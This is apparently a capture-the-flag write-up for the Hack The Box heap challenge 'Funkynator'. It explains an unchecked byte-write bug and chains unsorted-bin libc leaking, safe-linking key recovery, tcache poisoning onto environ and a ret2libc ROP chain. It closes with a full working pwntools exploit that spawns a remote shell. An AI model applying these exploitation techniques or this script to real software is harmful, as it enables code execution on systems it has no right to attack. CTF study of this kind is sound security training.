pwnfreehard

Funkynator

hackthebox

Task: A hardened PIE binary with Full RELRO, NX, Canary, and a heap message editor that allows unchecked byte writes by user-controlled offset. Solution: Leak libc through unsorted-bin metadata, recover the safe-linking key from a freed tcache chunk, poison tcache to land on environ, leak the stack, and return into a ret2libc ROP chain.

$ ls tags/ techniques/
ret2libctcache_poisoning_stackenviron_stack_leakunsorted_bin_libc_leaksafe_linking_key_leak

Funkynator — Hack The Box

Description

No original organizer description was preserved in the task files.

The binary lets us create, save, revisit, and edit heap-backed messages. Despite strong mitigations and a modern provided glibc 2.41, one unchecked byte-write primitive is enough to build a full heap-to-stack exploitation chain.

Analysis

Binary summary

  • Binary: challenge/funkynator
  • Provided libc: challenge/glibc/libc.so.6
  • Protections: Full RELRO, NX, Canary, PIE

Core bug

The vulnerability is in process_message().

puts("please give the offset of the byte:"); size_t offset; scanf("%lu", &offset); ... message[offset] = (char)value;

offset is read as an unsigned long and never validated, so the menu option overwrite byte becomes an arbitrary relative one-byte write from the current heap chunk. That lets us:

  • corrupt the current chunk header,
  • extend printing into adjacent chunks,
  • overwrite freed-chunk metadata such as tcache fd pointers.

Important reversing notes

funkify() only changes alphabetic characters to alternating case. Non-alphabetic bytes are left untouched, so heap metadata, pointer bytes, and ROP payload bytes survive as long as we avoid alphabetic characters where needed.

Why the first FSOP idea failed

The initial plan was a House of Apple 2 / _IO_list_all attack. That line of attack was abandoned for a good reason:

  1. Reaching _IO_list_all did not trigger code execution.
  2. Even replacing _IO_list_all with a sentinel like 0xdeadbeef still produced a normal exit.
  3. That strongly suggested the expected flush path was not reached in a useful way for this binary/libc combination.

Instead of forcing FSOP further, the successful exploit pivoted completely to a more direct path: libc leak -> safe-linking key leak -> tcache poison -> environ leak -> stack ROP.

Solution

Step 1: Leak libc from unsorted-bin metadata

Allocate chunks around 0x100, 0x500, and 0x20, then free the large one so it enters the unsorted bin. Continue processing the earlier chunk and use the relative byte write to corrupt size bytes, extending what puts() can print during examine.

That exposes the freed unsorted-bin metadata and leaks the unsorted fd pointer.

Working formula:

libc_base = libc_leak - 0x1e7b20

Step 2: Leak the heap safe-linking key

Free one adjacent 0x40-class tcache chunk and extend the previous chunk over it. For a singly freed chunk, the stored fd is NULL, so the first qword we read back effectively gives the safe-linking key:

heap_key = chunk_addr >> 12

This is enough to encode a poisoned forward pointer later.

Step 3: Use the correct tcache-poison pattern

A single freed chunk is not enough. If the poisoned chunk is the only element in that tcache bin, the next allocation pops it and the bin becomes empty before the poisoned target can be returned.

The working pattern was:

  1. Leak heap_key separately.
  2. Allocate fresh p, q, r in the 0x40 size class.
  3. Free r, then free q, so q becomes the tcache head and q->fd points to r.
  4. Continue processing adjacent p.
  5. Overwrite q->fd = target ^ heap_key.
  6. First allocation pops q; second allocation returns target.

For the stack leak stage, the chosen target was:

target = environ - 0x48

Step 4: Leak a stack pointer through environ

After poisoning tcache, allocate onto environ - 0x48. Then fill bytes 0x28..0x47 with nonzero values so puts() does not stop early and reaches the environ pointer during examine.

The leak was parsed as:

stack_leak = u64(data[0x48:0x4e] + b'\x00\x00') saved_rip = stack_leak - 0x1b0

Step 5: Write a ret2libc chain on the saved return address

With the saved return address known, the exploit writes a short ROP chain directly onto the process_message() stack frame:

  1. ret (alignment)
  2. pop rdi; ret
  3. pointer to "/bin/sh" in libc
  4. system

When process_message() returns, execution immediately pivots into this chain.

Key offsets

LIBC_ENVIRON = 0x1eee28 LIBC_BINSH = 0x1a7ea4 LIBC_SYSTEM = 0x053110 LIBC_LEAK_OFF = 0x1e7b20 STACK_RIP_DELTA = 0x1b0

The pop rdi; ret and ret gadget offsets were obtained from pwntools.ROP() on the provided libc.

Full exploit

#!/usr/bin/env python3 from pwn import * import sys context.arch = 'amd64' context.log_level = 'info' LIBC_ENVIRON = 0x1eee28 LIBC_BINSH = 0x1a7ea4 LIBC_SYSTEM = 0x053110 LIBC_LEAK_OFF = 0x1e7b20 STACK_RIP_DELTA = 0x1b0 HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost' PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 11337 libc = ELF('challenge/glibc/libc.so.6', checksec=False) rop = ROP(libc) POP_RDI = rop.find_gadget(['pop rdi', 'ret']).address RET = rop.find_gadget(['ret']).address def conn(): io = remote(HOST, PORT, timeout=10) io.recvuntil(b'name?\n') io.sendline(b'hacker') return io def menu(io, choice): io.recvuntil(b'> ') io.sendline(str(choice).encode()) def create_and_save(io, size, data=None): menu(io, 2) io.recvuntil(b':\n') io.sendline(str(size).encode()) io.recvuntil(b':\n') d = data if data is not None else b'A' * size if len(d) < size: d += b'A' * (size - len(d)) io.sendline(d[:size]) io.recvuntil(b'text?\n') io.sendline(b'n') io.recvuntil(b'memory?\n') io.sendline(b'y') io.recvuntil(b'location ') return int(io.recvline().strip()) def delete(io, slot): menu(io, 4) io.recvuntil(b':\n') io.sendline(str(slot).encode()) def cont_proc(io, slot): menu(io, 5) io.recvuntil(b':\n') io.sendline(str(slot).encode()) io.recvuntil(b'> ') def ow(io, offset, value): io.sendline(b'3') io.recvuntil(b':\n') if offset < 0: offset &= 0xffffffffffffffff io.sendline(str(offset).encode()) io.recvuntil(b'?\n') io.send(bytes([value & 0xff]) + b'\n') io.recvuntil(b'> ') def wb(io, offset, data): for i, b in enumerate(data): ow(io, offset + i, b) def examine(io): io.sendline(b'2') io.recvuntil(b'Your message:\n') data = io.recvuntil(b'+---------------------------+', drop=True) io.recvuntil(b'> ') return data.rstrip(b'\n') def stop_free(io): io.sendline(b'1') io.recvuntil(b'memory?\n') io.sendline(b'n') def stop_save(io): io.sendline(b'1') io.recvuntil(b'memory?\n') io.sendline(b'y') io.recvuntil(b'location ') return int(io.recvline().strip()) def main(): io = conn() # libc leak via unsorted fd s1 = create_and_save(io, 0x100) s2 = create_and_save(io, 0x500) create_and_save(io, 0x20) delete(io, s2) cont_proc(io, s1) ow(io, -8, 0x21) ow(io, -7, 0x06) for i in range(0x100, 0x110): ow(io, i, 0x41) for i in range(0x118, 0x120): ow(io, i, 0x41) data = examine(io) libc_leak = u64(data[0x110:0x116] + b'\x00\x00') libc_base = libc_leak - LIBC_LEAK_OFF environ_addr = libc_base + LIBC_ENVIRON binsh_addr = libc_base + LIBC_BINSH system_addr = libc_base + LIBC_SYSTEM pop_rdi = libc_base + POP_RDI ret = libc_base + RET log.success(f'libc_base = {hex(libc_base)}') ow(io, -8, 0x11) ow(io, -7, 0x01) for i in range(0x100, 0x108): ow(io, i, 0) ow(io, 0x108, 0x11) ow(io, 0x109, 0x05) for i in range(0x10A, 0x110): ow(io, i, 0) wb(io, 0x110, p64(libc_leak)) wb(io, 0x118, p64(libc_leak)) stop_free(io) # heap key leak using single freed 0x40 chunk (fd == NULL => key only) ka = create_and_save(io, 0x28) kb = create_and_save(io, 0x28) delete(io, kb) cont_proc(io, ka) ow(io, -8, 0x91) for i in range(0x28, 0x40): ow(io, i, 0x42) for i in range(0x48, 0x50): ow(io, i, 0x42) data = examine(io) heap_key = u64(data[0x40:min(len(data), 0x48)].ljust(8, b'\x00')) log.success(f'heap_key = {hex(heap_key)}') ow(io, -8, 0x41) stop_save(io) # real tcache poison: free extra chunk first, adjacent chunk second p = create_and_save(io, 0x28) q = create_and_save(io, 0x28) r = create_and_save(io, 0x28) delete(io, r) delete(io, q) cont_proc(io, p) ow(io, -8, 0x91) target = environ_addr - 0x48 wb(io, 0x40, p64(target ^ heap_key)) ow(io, -8, 0x41) stop_save(io) create_and_save(io, 0x28, b'X' * 0x28) # pop poisoned head s_t = create_and_save(io, 0x28, b'Y' * 0x28) # target allocation log.success(f'target allocation slot = {s_t}') # leak stack via environ at target+0x48 cont_proc(io, s_t) for i in range(0x28, 0x48): ow(io, i, 0x45) data = examine(io) stack_leak = u64(data[0x48:0x4E] + b'\x00\x00') saved_rip = stack_leak - STACK_RIP_DELTA log.success(f'stack_leak = {hex(stack_leak)}') log.info(f'saved_rip = {hex(saved_rip)}') # write ROP chain onto process_message saved RIP chain = p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) wb(io, saved_rip - target, chain) log.info('ROP chain written') # return from process_message directly into ROP; do NOT answer save prompt io.sendline(b'1') sleep(0.2) io.sendline(b'cat /home/ctf/flag.txt 2>/dev/null || cat flag.txt 2>/dev/null || cat /flag.txt 2>/dev/null') print(io.recvrepeat(2).decode('latin-1', errors='replace')) if __name__ == '__main__': main()

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups